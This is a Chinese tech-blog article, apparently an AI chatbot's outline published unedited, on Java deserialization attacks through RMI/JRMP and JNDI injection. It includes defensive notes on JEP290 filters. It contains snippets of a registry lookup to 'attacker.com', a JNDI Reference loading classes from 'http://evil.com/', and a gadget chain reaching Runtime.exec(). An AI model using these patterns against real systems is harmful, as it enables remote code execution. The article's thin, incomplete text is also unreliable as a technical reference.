如何理解Java反序列化过程中的RMI JRMP以及JNDI多种利用方式

发布时间:2021-11-20 15:56:58 作者:柒染
来源:亿速云 阅读:207

由于篇幅限制,我无法一次性生成5万字的长篇技术文章,但我可以为您提供一个详细的Markdown格式大纲和部分内容示例。您可以根据这个框架进行扩展和完善。

# 如何理解Java反序列化过程中的RMI JRMP以及JNDI多种利用方式

## 目录
1. [Java反序列化基础](#1-java反序列化基础)
   - 1.1 序列化与反序列化原理
   - 1.2 ObjectInputStream的安全问题
   - 1.3 常见反序列化漏洞模式

2. [RMI协议与JRMP机制](#2-rmi协议与jrmp机制)
   - 2.1 RMI架构解析
   - 2.2 JRMP协议详解
   - 2.3 远程对象绑定与查找

3. [JNDI注入攻击面分析](#3-jndi注入攻击面分析)
   - 3.1 JNDI服务架构
   - 3.2 命名与目录服务
   - 3.3 动态类加载机制

4. [利用链构造技术](#4-利用链构造技术)
   - 4.1 CommonsCollections利用链
   - 4.2 JDK原生链分析
   - 4.3 第三方库的Gadget发现

5. [RMI+JNDI组合攻击](#5-rmijndi组合攻击)
   - 5.1 通过JRMP协议绕过限制
   - 5.2 远程类加载攻击
   - 5.3 LDAP引用注入

6. [防御与缓解措施](#6-防御与缓解措施)
   - 6.1 输入验证与过滤
   - 6.2 JEP290机制解析
   - 6.3 安全加固建议

7. [实战案例分析](#7-实战案例分析)
   - 7.1 WebLogic反序列化漏洞
   - 7.2 JBoss JMXInvokerServlet
   - 7.3 Fastjson JNDI注入

8. [工具与检测方法](#8-工具与检测方法)
   - 8.1 ysoserial使用详解
   - 8.2 JRMPListener实现
   - 8.3 流量特征检测

9. [未来发展趋势](#9-未来发展趋势)
   - 9.1 JDK高版本限制
   - 9.2 新型利用技术
   - 9.3 防御体系演进

---

## 1. Java反序列化基础

### 1.1 序列化与反序列化原理
Java序列化是将对象转换为字节流的过程,反序列化则是将字节流恢复为对象。核心接口`java.io.Serializable`:

```java
// 序列化示例
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(targetObject);
byte[] serializedData = baos.toByteArray();

// 反序列化示例
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // 危险点!

1.2 ObjectInputStream的安全问题

反序列化时会自动调用: - readObject()方法 - readResolve()方法 - readExternal()方法

攻击者可构造恶意对象在反序列化时触发任意代码执行。

1.3 常见反序列化漏洞模式

  1. 直接反序列化:接收不可信数据源的反序列化操作
  2. 二次反序列化:经过包装的序列化数据(如Base64编码)
  3. 隐式反序列化:通过RMI/JMS等协议触发的反序列化

2. RMI协议与JRMP机制

2.1 RMI架构解析

如何理解Java反序列化过程中的RMI JRMP以及JNDI多种利用方式

组件构成: - Stub/Skeleton层 - 远程引用层(Remote Reference Layer) - 传输层(Transport Layer)

2.2 JRMP协议详解

Java Remote Method Protocol是RMI的专用协议,工作流程:

  1. 客户端通过Registry查找远程对象
  2. 服务端返回远程对象的Stub
  3. 客户端调用Stub方法时,JRMP将:
    • 序列化参数
    • 传输到服务端
    • 反序列化执行

2.3 远程对象绑定与查找

// 服务端注册
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Exploit", remoteObj);

// 客户端查找
Registry registry = LocateRegistry.getRegistry("attacker.com", 1099);
Remote obj = registry.lookup("Exploit"); // 触发反序列化

3. JNDI注入攻击面分析

3.1 JNDI服务架构

Java Naming and Directory Interface提供统一API访问: - LDAP - DNS - RMI - CORBA

3.2 动态类加载机制

当JNDI客户端获取到Reference对象时,会从指定URL加载类:

// 恶意LDAP服务器返回的Reference
Reference ref = new Reference("Exploit", 
    "ExploitFactory", 
    "http://evil.com/");

4. 利用链构造技术

4.1 CommonsCollections利用链

经典CC链调用过程:

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> LazyMap.get()
      -> ChainedTransformer.transform()
        -> Runtime.exec()

5. RMI+JNDI组合攻击

5.1 通过JRMP协议绕过限制

高版本JDK对JNDI注入的限制: 1. 限制远程类加载(trustURLCodebase=false) 2. 本地类黑名单过滤

绕过方法: 1. 使用JRMP协议二次反序列化 2. 结合本地Gadget chain


6. 防御与缓解措施

6.1 JEP290机制

JDK9引入的防御机制: - 反序列化过滤器 - 最大深度限制 - 类白名单控制

配置示例:

jdk.serialFilter=maxdepth=5;!org.apache.commons.collections.*

7. 实战案例分析

7.1 WebLogic CVE-2020-2555

利用步骤: 1. 发送T3协议恶意请求 2. 触发JNDI查找 3. 通过JRMP返回恶意序列化数据 4. 利用CC链执行命令


附录

A. 参考链接 B. 工具下载地址 C. 漏洞编号对照表 “`

扩展建议

要完成5万字的技术文章,建议在每个章节中: 1. 增加详细的代码示例 2. 添加协议分析图和数据包结构 3. 补充不同JDK版本的差异分析 4. 加入实战调试过程记录 5. 提供多种工具的测试对比 6. 添加防御方案的配置示例

需要继续扩展哪部分内容,我可以提供更详细的写作素材和技术细节。

推荐阅读:
  1. Weblogic 反序列化漏洞历史
  2. Java RMI是什么

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

java jndi

上一篇:Python爬虫高频率面试题有哪些

下一篇:怎么搭建Mysql单机实例

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》